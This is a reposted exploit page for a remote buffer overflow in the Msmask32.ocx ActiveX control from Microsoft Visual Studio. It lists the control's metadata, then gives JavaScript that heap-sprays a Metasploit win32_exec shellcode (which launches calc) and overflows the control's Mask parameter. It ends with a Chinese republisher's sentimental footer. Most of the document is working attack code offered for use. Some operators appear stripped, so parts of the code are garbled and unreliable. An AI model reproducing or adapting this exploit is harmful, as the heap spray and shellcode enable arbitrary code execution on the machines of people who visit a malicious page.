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Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit
Author: KoshiOriginal POC: http://www.milw0rm.com/exploits/6244 ( Not by me ) My first ActiveX exploit, learned quite a bit playing with this one.
Heaps are handy. #################################################
Loaded File: C:\WINDOWS\system32\MSMASK32.OCX
Name: MSMask
Version: 1.1
Class MaskEdBox
GUID: {C932BA85-4374-101B-A56C-00AA003668DC}
Number of Interfaces: 1
Default Interface: IMSMask
RegKey Safe for Script: False
RegKey Safe for Init: True
KillBitSet: False
#################################################
gr33tz: Rima my baby, str0ke, mess, and to all of those who have helped me over the years! <input language=JavaScript onclick=doIt() type=button value="Test Exploit">
<script language="JavaScript"> function doIt()
{
var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC" width="10"><PARAM NAME="Mask" VALUE="';
var body1='"></OBJECT>';
var buf1 = '';
for (i=1;i<=1945;i ){buf1=buf1 unescape("");} // win32_exec - EXITFUNC=process CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com var shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949"
"%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b"
"%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875"
"%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c"
"%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b"
"%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e"
"%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a"
"%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35"
"%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b"
"%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b"
"%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470"
"%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550"
"%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550"
"%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070"
"%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68"
"%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047"
"%u6363%u5251%u634c%u5553%u4550");
// A read through "Heap Feng Shui in JavaScript" shed some
// much needed light on this topic for me. Thank you Alexander Sotirov.
var shellcodeSize = (shellcode.length * 2);
var spraySled = unescape("%u9090%u9090");
var heapAddress = 0x0c0c0c0c;
var heapBlockSize = 0x100000;
var spraySledSize = heapBlockSize - (shellcodeSize 1);
var heapBlocks = (heapAddress heapBlockSize)/heapBlockSize;
var x = new Array();
while (spraySled.length*2<spraySledSize)
{
spraySled = spraySled;
}
spraySled = spraySled.substring(0,spraySledSize/2);
for (i=0;i<heapBlocks;i )
{
x[i] = spraySled shellcode;
}
document.write(body buf1 body1);
} </script>
本文Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit 到此结束。寂寞的人总是会用心的记住他生命中出现过的每一个人,于是我总是意犹未尽地想起你在每个星光陨落的晚上一遍一遍数我的寂寞。小编再次感谢大家对我们的支持!